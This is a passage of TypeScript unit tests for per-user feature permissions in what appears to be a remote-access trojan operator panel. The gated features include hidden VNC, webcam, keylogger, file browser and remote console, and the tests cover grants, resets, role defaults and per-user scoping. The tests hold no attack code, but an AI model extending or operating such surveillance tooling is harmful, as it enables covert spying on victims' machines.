expect(canUserAccessFeature(operator.id, operator.role, "hvnc")).toBe(true);
|
||||||
|
} finally {
|
||||||
|
cleanupCreatedUsers();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("setUserFeaturePermissions applies a bulk update", async () => {
|
||||||
|
try {
|
||||||
|
const operator = await createTempUser("operator");
|
||||||
|
|
||||||
|
const result = setUserFeaturePermissions(operator.id, {
|
||||||
|
webcam: false,
|
||||||
|
file_browser: false,
|
||||||
|
keylogger: true,
|
||||||
|
});
|
||||||
|
expect(result.success).toBe(true);
|
||||||
|
|
||||||
|
expect(canUserAccessFeature(operator.id, operator.role, "webcam")).toBe(false);
|
||||||
|
expect(canUserAccessFeature(operator.id, operator.role, "file_browser")).toBe(false);
|
||||||
|
expect(canUserAccessFeature(operator.id, operator.role, "keylogger")).toBe(true);
|
||||||
|
// Untouched features keep their default (allowed).
|
||||||
|
expect(canUserAccessFeature(operator.id, operator.role, "console")).toBe(true);
|
||||||
|
} finally {
|
||||||
|
cleanupCreatedUsers();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("setUserFeaturePermissions ignores unknown feature keys", async () => {
|
||||||
|
try {
|
||||||
|
const operator = await createTempUser("operator");
|
||||||
|
|
||||||
|
const result = setUserFeaturePermissions(operator.id, {
|
||||||
|
webcam: false,
|
||||||
|
// @ts-expect-error intentionally unknown feature key
|
||||||
|
not_a_feature: true,
|
||||||
|
});
|
||||||
|
expect(result.success).toBe(true);
|
||||||
|
|
||||||
|
const perms = getUserFeaturePermissions(operator.id);
|
||||||
|
expect(perms.webcam).toBe(false);
|
||||||
|
// Unknown keys never get persisted.
|
||||||
|
expect((perms as any).not_a_feature).toBeUndefined();
|
||||||
|
} finally {
|
||||||
|
cleanupCreatedUsers();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("setUserFeaturePermission rejects invalid feature names", async () => {
|
||||||
|
try {
|
||||||
|
const operator = await createTempUser("operator");
|
||||||
|
|
||||||
|
const result = setUserFeaturePermission(
|
||||||
|
operator.id,
|
||||||
|
"not_a_feature" as FeatureName,
|
||||||
|
false,
|
||||||
|
);
|
||||||
|
expect(result.success).toBe(false);
|
||||||
|
expect(result.error).toContain("Invalid feature");
|
||||||
|
} finally {
|
||||||
|
cleanupCreatedUsers();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("getUserFeaturePermissions returns role-derived values", async () => {
|
||||||
|
try {
|
||||||
|
const admin = await createTempUser("admin");
|
||||||
|
const operator = await createTempUser("operator");
|
||||||
|
const viewer = await createTempUser("viewer");
|
||||||
|
|
||||||
|
const adminPerms = getUserFeaturePermissions(admin.id);
|
||||||
|
const operatorPerms = getUserFeaturePermissions(operator.id);
|
||||||
|
const viewerPerms = getUserFeaturePermissions(viewer.id);
|
||||||
|
|
||||||
|
for (const f of ALL_FEATURES) {
|
||||||
|
expect(adminPerms[f]).toBe(true);
|
||||||
|
expect(operatorPerms[f]).toBe(true);
|
||||||
|
expect(viewerPerms[f]).toBe(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
// After a deny, the operator's map reflects it.
|
||||||
|
setUserFeaturePermission(operator.id, "processes", false);
|
||||||
|
const updated = getUserFeaturePermissions(operator.id);
|
||||||
|
expect(updated.processes).toBe(false);
|
||||||
|
expect(updated.console).toBe(true);
|
||||||
|
} finally {
|
||||||
|
cleanupCreatedUsers();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("resetUserFeaturePermissions restores defaults (all enabled for operator)", async () => {
|
||||||
|
try {
|
||||||
|
const operator = await createTempUser("operator");
|
||||||
|
|
||||||
|
setUserFeaturePermissions(operator.id, {
|
||||||
|
webcam: false,
|
||||||
|
file_browser: false,
|
||||||
|
keylogger: false,
|
||||||
|
});
|
||||||
|
expect(canUserAccessFeature(operator.id, operator.role, "webcam")).toBe(false);
|
||||||
|
|
||||||
|
const result = resetUserFeaturePermissions(operator.id);
|
||||||
|
expect(result.success).toBe(true);
|
||||||
|
|
||||||
|
for (const f of ALL_FEATURES) {
|
||||||
|
expect(canUserAccessFeature(operator.id, operator.role, f)).toBe(true);
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
cleanupCreatedUsers();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("getUserFeaturePermissions for a missing user returns all-false", () => {
|
||||||
|
const perms = getUserFeaturePermissions(0);
|
||||||
|
for (const f of ALL_FEATURES) {
|
||||||
|
expect(perms[f]).toBe(false);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("feature denials are scoped to the affected user", async () => {
|
||||||
|
try {
|
||||||
|
const a = await createTempUser("operator");
|
||||||
|
const b = await createTempUser("operator");
|
||||||
|
|
||||||
|
setUserFeaturePermission(a.id, "webcam", false);
|
||||||
|
|
||||||
|
expect(canUserAccessFeature(a.id, a.role, "webcam")).toBe(false);
|
||||||
|
expect(canUserAccessFeature(b.id, b.role, "webcam")).toBe(true);
|
||||||
|
} finally {
|
||||||
|
cleanupCreatedUsers();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
Reference in New Issue
Block a user